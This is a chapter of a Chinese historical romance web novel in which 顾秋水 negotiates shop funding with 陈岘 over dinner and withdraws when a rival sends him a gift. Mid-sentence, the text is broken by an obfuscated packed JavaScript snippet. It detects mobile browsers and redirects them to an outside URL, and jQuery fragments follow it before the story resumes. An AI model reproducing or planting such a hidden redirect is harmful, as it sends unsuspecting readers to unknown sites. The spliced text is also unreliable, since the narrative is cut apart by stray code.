24.第二十四章

作品:《始乱终弃贵公子后

    顾秋水没想到他竟然揪上了这点,一时间有些不知道如何作答。


    她脑袋飞快的旋转起来:“或许……”


    好像不错,确实是两个。


    顾秋水咬咬牙:“那便头一个,希望公子能给予我一笔钱财。”


    “我要用这笔钱去经商,只要公子不反对,所得利息可与公子分成。”


    一对水光潋滟的眸子里染上几分哀求的意味:“拜托公子了。”


    陈岘收起脸上的笑容,拉过顾秋水的衣袖。


    “进屋说。”


    暖炉里炭火烧得正旺,二人俱是脱下了身上的外袍。


    陈岘中衣微微敞开着,盘着腿,略显几分随意地坐在桌边,为顾秋水斟了一杯茶。


    “坐。”


    顾秋水接过那杯茶,轻轻抿了一口,茶水清爽而回甘,她嗓子里顿时清润不少。


    放下杯子,她遂正襟危坐,目光灼灼地看着陈岘。


    “公子想与我谈什么?”


    陈岘却略有些愣怔。


    把她拉进屋来只不过是因为外头风大,他见她鼻头、脸颊俱已冻得通红,他有些心疼。


    说两个条件,只不过是逗逗她的玩笑话罢了,她竟也当真了。


    陈岘忍不住起了逗弄的心思:“那你说说,若是分成,你让几分利与我?”


    顾秋水暗自懊恼:没想到这人竟然来真的,她以为他只是说给她的玩笑话呢。


    她可是一份分利都不想让。


    不爱钱的商人可不是好商人。


    “那、那便二八分。”


    说完后,顾秋水又快速地补充道:“你二我八。”


    “哈哈哈哈哈……”陈岘没忍住,笑出声来。


    顾秋水有些恼:“你别笑……”


    陈岘笑得胸腔都在震动,肩膀一抖一抖的,眉眼微微弯起,与平日里气质竟是天差地别。


    顾秋水略带心虚地移开目光:“别笑啦……”


    陈岘笑了好一阵才停下来。


    “好啊。”他唇角向上弯着,右手支着太阳穴,存心逗她,“那就我二,你八。”


    “唉?!”顾秋水迅速地在脑子里思考起转圜的话来。


    这人怎么都不带客气一下的!


    陈岘略微转了转身子,将自己正对着她:“怎么了。”


    “顾小姐可是后悔了?”


    顾秋水心知自己是着了这人的道,却也无可奈何:“……不后悔。”


    后悔!后悔死了!她一分利也不想让!


    她在心里暗自咆哮着。


    陈岘将顾秋水的小表情尽收眼底,心情也忍不住好起来。他略正了正神色:“那么,开铺子的银两,你想要多少?”


    顾秋水再次快速的头脑风暴起来。


    盘铺子要钱,地段还不能太差;装修要钱,招伙计要钱,上下打点也要钱……真是处处都是用钱的地方。


    要多了怕陈岘心中对自己有意见,要少了又怕银子不够用……可真是难办。


    “你过两日算好了,找锦书带你去库房拿吧。”陈岘适时开口,打断了顾秋水的思绪。


    “好。”


    事情谈完,两人之间又开始相顾无言。


    但是,连日来横在两人之间的阴霾今日似是断在散去了,陈岘心情顿时就好了不少。


    顾秋水坐了一会儿,本欲起身离开。


    哪知陈岘主动留她:“可要留下一同用晚膳?”


    顾秋水有些踌躇。两人之间不知不觉闹了许久的别扭,今日难得气氛缓和了,她也有些贪恋此刻的温存。


    最终,她点头应答道:“好。”


    檐外夕阳初收,青石板上泛着清润的水光。花厅里六角宫灯已掌上,光晕透过素纱灯罩,在紫檀木小圆桌上漾开温黄的涟漪。


    今日的菜色竟然都是她爱吃的。


    冷盘是水晶肴肉,肉冻透如琥珀,裹着胭脂色的精肉,边上围着十二片薄如蝉翼的金陵盐水鸭。热菜是一道清蒸刀鱼和一道火腿煨笋尖。汤则是莼菜银鱼羹,盛在越窑青瓷钵里,莼菜的滑与银鱼的嫩在舌尖分不清彼此,只余一脉春水的柔。


    陈岘还特意叫人为顾秋水上了几样点心。


    点心是陈岘不大爱吃的。陈岘口味偏清淡,但顾秋水十分喜甜,连喝粥时也不爱配菜,反而爱往粥里撒点糖,就这样一碗白粥都能喝下去。


    刚开始时,厨娘都不甚习惯——惯是听闻苏州人喜甜,没想到竟嗜甜到如此地步。久而久之,也就慢慢记下了顾秋水的口味偏好。


    看顾秋水吃得欢快,陈岘也忍不住捏了块糕点,送入口中。


    糕点是厨娘按照顾秋水的喜好做的。


    刚一入口,他就忍不住皱起了眉头。


    “你平日里都吃得这么甜么?”


    顾秋水有点不好意思:“我习惯如此……”


    陈岘点点头,没再说什么,只将自己面前那碟未动过的糖蒸酥酪轻轻推到顾秋水手边。


    顾秋水怔了怔,心头泛起一丝说不清的暖意。


    她舀了一勺酥酪送入口中,乳香与蜜甜在舌尖化开。


    郎中所说郁结之气,似乎正在此刻化开。


    她等会要找厨娘要一下这酥酪的方子才好。


    外头忽然传来一阵急促的脚步声。


    锦书出现在门边,神色略显为难:“公子,徐府来人,徐小姐派人送了东西来,说是务必亲手交到您手上。”


    陈岘手微微一顿。顾秋水刚到嘴边的话也咽了下去,视线默默转向别处。


    “什么东西?”陈岘语气平淡。


    “是一方砚台。”锦书低声道,“送东西来的丫鬟说,是徐小姐前几日得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087265|192397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了块上好的端石,想起公子惯用端砚,便亲自盯着人琢了,今日刚好完工,立刻便送来了。”


    厅内一时寂静。


    顾秋水觉得方才吃下去的那口酥酪忽然有些腻人,甜得发慌。她放下勺子,拿起帕子轻轻拭了拭嘴角。


    陈岘瞥了她一眼,对锦书道:“先收下吧,替我谢过徐小姐。”


    “是。”锦书应声退下。


    那碟酥酪似乎再也引不起顾秋水的兴趣。她默然坐了片刻,忽然觉得今日满桌珍馐都有些索然无味。


    她站起身来,轻声开口:“多谢公子款待。”


    陈岘抬眼看她。灯火下,少女的脸色比方才苍白了些,那双总是灵动的眸子此刻低垂着,掩去了所有情绪。


    “甜点还没用完。”他道。


    “有些腻了。”顾秋水勉强笑了笑,“许是白日里走动得少了,积了食。我先回去了,公子慢用。”


    她福了福身,不等陈岘再开口,便转身向外走去。


    陈岘望着她消失在门外的身影,眉头几不可察地蹙起。他搁下筷子,目光落在那碟几乎未动的酥酪上,半晌,轻轻叹了口气。


    *


    顾秋水回到自己院中,小翠正点了灯在等她。见她回来,忙迎上来:“小姐,可用过膳了?脸色怎的这样白?”


    “用过了。”顾秋水摇摇头,走到窗边坐下,望着窗外沉沉的夜色,“许是累了。”


    小翠不疑有他,为她斟了杯热茶:“那小姐早些歇息。对了,方才春喜姐姐说,柳姑娘那边今日精神好些了,还问起小姐呢。”


    提到柳如絮,顾秋水才稍稍打起精神:“她可还好?药按时吃了么?”


    “都好,春喜姐姐照顾得仔细。”小翠笑道,“柳姑娘还说,等她再好些,想当面向小姐磕头谢恩。”


    “不必如此。”顾秋水轻声道,“她能好好活着,便是最好。”


    又坐了片刻,顾秋水终究觉得心中烦闷,便打发小翠去歇息,说自己想独自静静。


    夜深人静,她却毫无睡意。


    前几日里陈岘那句“只要她于我还有用”,以及方才徐听兰送来的那方砚台,如同两枚细针,轮番扎她的心。


    她怎么总是好了伤疤忘了疼。


    一顿饭怎么就将她收买了呢。


    那些若有若无的温情,那些偶尔流露的关切,或许都只是他为了让这颗棋子更顺手些,施舍的一点甜头。


    就像他推过来的那碟酥酪。


    顾秋水将脸埋进掌心,深深吸了一口气。


    不能这样。她对自己说。顾秋水,你投奔陈家,本就是为了寻一处安身立命之所,借一份势,好他日重回姑苏,夺回家产。如今陈岘既已答应资助,你该心无旁骛地去筹谋自己的铺子,自己的前程。


    那些不该有的心思,该收一收了。